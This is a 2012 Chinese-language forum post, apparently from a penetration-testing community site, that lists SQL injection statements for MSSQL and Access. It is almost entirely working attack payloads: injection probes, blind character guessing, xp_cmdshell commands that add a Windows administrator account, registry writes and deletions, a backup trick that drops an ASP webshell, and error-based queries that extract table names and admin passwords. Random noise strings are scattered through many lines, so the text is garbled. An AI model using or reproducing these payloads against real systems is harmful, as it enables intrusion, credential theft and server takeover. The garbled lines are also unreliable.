中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入 1 S$ y+ O9 o( ^. O8 d& h
;and 1=1
: t' V: b$ l; X;and 1=2 # M* N$ W7 Y0 i( J9 V+ M
" b4 p  O! @8 K# _' A
2.初步判断是否是mssql . P3 O6 L% j  a2 r( b3 Z
;and user>0 7 `& P2 v; T" k3 f; S

8 x1 O( w( R/ \( o$ C. @( Y3.判断数据库系统
( \  I3 b9 H# {! y- l5 L4 \;and (select count(*) from sysobjects)>0 mssql 5 R8 k9 Q7 F/ h/ k/ }3 ~* P: Y
;and (select count(*) from msysobjects)>0 access
- i/ a1 i' T; ~1 d9 D9 a* p* N6 S$ d  a5 z) n9 N  \; D
4.注入参数是字符 ! ?0 r* u9 F7 x8 U% h
'and [查询条件] and ''='   _; l6 R6 H5 m! q, m
9 J2 q* k% H' b& Q0 O- l
5.搜索时没过滤参数的
. \& v6 Y- A+ m7 F# h" A( T5 b'and [查询条件] and '%25'=' 5 D% r2 G/ k8 i) r; i6 `7 h  d3 J

. R& ?4 E: d3 ^3 g6 b. p6.猜数表名 - W# C& ~  X4 |5 C1 o" W* E
;and (select Count(*) from [表名])>0 6 }6 ^0 D& F) @2 T; p# E' U

7 ?, n% l& F1 F- r' x7.猜字段
$ U7 t+ b) c' U* O' Z;and (select Count(字段名) from 表名)>0 & X2 T; p( \& b/ K3 T
2 v. q4 h8 v# y, B6 l2 l
8.猜字段中记录长度
- Y( U* ?! j$ o;and (select top 1 len(字段名) from 表名)>0 2 d% z7 E- B& ^+ v
+ |( A' }, B3 E  \
9.(1)猜字段的ascii值(access)
! B+ u3 s& A. {9 d: {9 j: A6 j;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
5 L# d: L, ]2 o9 C( E, n5 g
" d  g5 G, A! |8 n$ Q(2)猜字段的ascii值(mssql)
# V+ N2 d9 [5 E;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
- s6 N4 h0 v1 X7 m
3 m4 X  w7 s+ _; @4 x: N10.测试权限结构(mssql) 1 Y7 r; a3 A2 I: O
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
$ C4 i2 F4 y/ i;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
; G4 k! }. h6 r" x4 g& J4 t;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- " \8 `$ p2 P4 ^4 E' j! z5 S. F' @
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 2 ?- M+ Y# {+ f8 h4 e
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--   L' U- K2 q7 w, D' h0 c
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7 U' Y2 }  U; D% ^- O7 \/ e
;and 1=(select IS_MEMBER('db_owner'));--
8 p& }6 c9 r# ]/ A1 z
" \* _5 Q7 K. s- K; g& C0 v' V11.添加mssql和系统的帐户
4 [4 ]7 v' o$ M, k8 U" u  Q7 M. o;exec master.dbo.sp_addlogin username;-- 5 Y( F7 c8 S# s+ n6 T6 v4 F
;exec master.dbo.sp_password null,username,password;-- % s7 Y/ f& N  @
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ( |6 W* _. u6 s, m( K$ w. Z! Y4 i
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ! J! d$ N# a- x6 ]$ u( p- g
;exec master.dbo.xp_cmdshell 'net user username password /add';--
1 S) c+ }, B4 Z8 e( q) r3 |8 o  T;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 7 k: E' V2 s* @; t3 G

' b. y# P9 n0 C" m3 J- b12.(1)遍历目录 ) O/ n9 n3 c7 f) W3 }
;create table dirs(paths varchar(100), id int) " l" _" R/ y( n
;insert dirs exec master.dbo.xp_dirtree 'c:\'
  F/ |" ?& y& [4 F/ k! S;and (select top 1 paths from dirs)>0 7 K0 A+ o" c& U
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
- w5 X7 |! v; x/ c3 I' x3 j5 T% _
% O. |! \& l  f$ M8 V: g% |7 ?8 M(2)遍历目录 " z! C9 W2 S0 @
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
3 |: [4 z. m% c. _5 e+ s;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
, y' R* q& }& n$ O;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 + |- n( X! S6 S/ O
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 3 X3 b  H4 Q! w
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 , X1 @& m" V9 H) j# O$ R
$ B; y, E# R5 k0 a
13.mssql中的存储过程 " {( N: F8 h/ a; R5 {! ?- Q9 n; ?
xp_regenumvalues 注册表根键, 子键
8 x& I2 }/ R. I3 }3 a;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
: m( A1 N+ U* v, Nxp_regread 根键,子键,键值名
" g0 [5 n4 U1 \% e. [, N;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 # z% }; g- y- `9 E( \
xp_regwrite 根键,子键, 值名, 值类型, 值 6 E/ ^; K+ v/ a5 U6 w  g7 q
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
. \4 O8 m) [) M4 ?4 {/ r$ E;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 & D& y& P4 B5 b- N7 H
xp_regdeletevalue 根键,子键,值名 ! A4 c4 q) M; W) I! z" P5 K
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
* M  h% x' e  C9 L8 Uxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5 U( j6 n! L7 ~  w' U# {

$ e& J% U+ }% Y& i, Y14.mssql的backup创建webshell ( H$ T7 F% D( E$ I; ]% a  D
use model ' k' d+ C* R3 V
create table cmd(str image);
: `* n( Z/ O$ [+ Einsert into cmd(str) values ('<% Dim oScript %>'); : Y( p. G. f: C/ Z: A( z5 _
backup database model to disk='c:\l.asp';
8 F0 ?3 u9 N: X  ^7 P. v% ]5 N1 i" z0 i; f( G3 o
15.mssql内置函数 + v9 a! Z  _. V# o0 F
;and (select @@version)>0 获得Windows的版本号   v. x& r+ c' x) d( e  b0 |! u* [! |
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
* Y: }- q# ^% K3 Z) Y/ P;and (select user_name())>0 爆当前系统的连接用户 % y0 o: f, l+ |) ~4 f# A. O) K
;and (select db_name())>0 得到当前连接的数据库
0 u7 N3 [) q( w; H/ z; Q# s* p2 W
  J4 U+ w( [( p! S

6 {. d+ F% ?; @6 [3 ?8 UMSSQL手注暴库
# d% R0 ]4 m; x* J9 G% i; Q/ x
" X6 \$ o2 r8 L/ `! T1.暴出当前表名和列名
3 d* Q1 v4 K3 }  \* K$ F在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
' @. I  V, e0 X- @7 s# \- e( O, B* ]  @0 W6 h* Q! v
第一.爆出所有数据库名' o: [& R& i4 X3 n) h
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
. C2 b1 q/ _% D  Q6 @第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
+ A4 C$ p2 p  g* ~. K4 s
0 b- T% W" A+ [5 l6 X5 band 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
# R: I, g) O) a1 v6 B+ n6 Y7 q; W7 [

5 T2 M3 O, v9 ~. i* c第二.爆出指定库中的所有表名
: T0 p7 p5 f. ~. e8 r6 }* ^得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
" ?: Z  X! M' @) s- M! Y1 P5 \再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。$ I4 l. j" u5 o! T. B

' D- D% N1 G! b% @and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
, P# T- a+ T! t( C3 t" i9 q# w) fand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--# R1 r8 C$ @" c+ z0 N* ?
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--* w6 f: A5 l7 J! n" m! h
2 c1 g- |5 T% Y3 t$ D- F
4.爆出指定表中的所有列名! t/ e$ D: R) _, B& Q) I9 p! S
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
' w; N, P4 A! t4 w0 c; ^# y//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'& i. h0 R+ g) X

# R* K" Z! |3 f3 n9 s' X: O3 ]and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名, `! \0 I3 G  ~2 N& o  r
6 e0 Y/ j& ?, Q
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ) D+ z: k9 ~" W4 J. P$ ~
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。6 F$ {+ z) k4 d' W$ [* P2 V

# @7 v; l7 S2 D: l: H# Z& F* e, ^" I1 e7 [0 N: d# N
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值0 g( [5 E/ L6 E  w
& ]) K5 @2 c( G) U
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名# n, h0 Q! J) k  R( _7 {
9 p# ]  D9 v* M. y; s
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 6 g- Z5 n* o* ?& W
! Y7 `9 s8 f+ y% I0 g1 t" A+ Q5 O
& F; C. t. C8 j# G0 h- r7 p

& o& b) c% y0 q) s; l+ t4 A; q5.读取指定表中的数据! E+ p7 s7 d3 V6 Z# y
2 p. {! Z" p& n8 N% \; d* R( Y% k* z
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
. n% X7 w) z: L, u( }. J3 x6 `$ Q- e9 _
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
. @8 `: D1 O; \! _& K, T* w4 o0 n5 S3 q9 y& Q
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
3 e. w8 Q5 K% W4 T8 R/ w8 c
) S( ?* @% a' o. I3 W% z
/ F) m/ @' C5 z* Tand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)6 ~7 Z) R9 K' R( _; C. `1 b) `

; c% Z2 l9 v5 O- F; j4 uand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
" A( Z* t: Y/ G  P' n8 B0 n
: y! t" u6 u( y/ d! j8 _$ Wand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
8 E" F1 _4 P* c5 H1 g& `
4 D# k1 K& ?7 C. H8 V4 n) x7 f  B知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。% r. z: \+ ?& v3 f& E  U. c: m/ u8 p





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2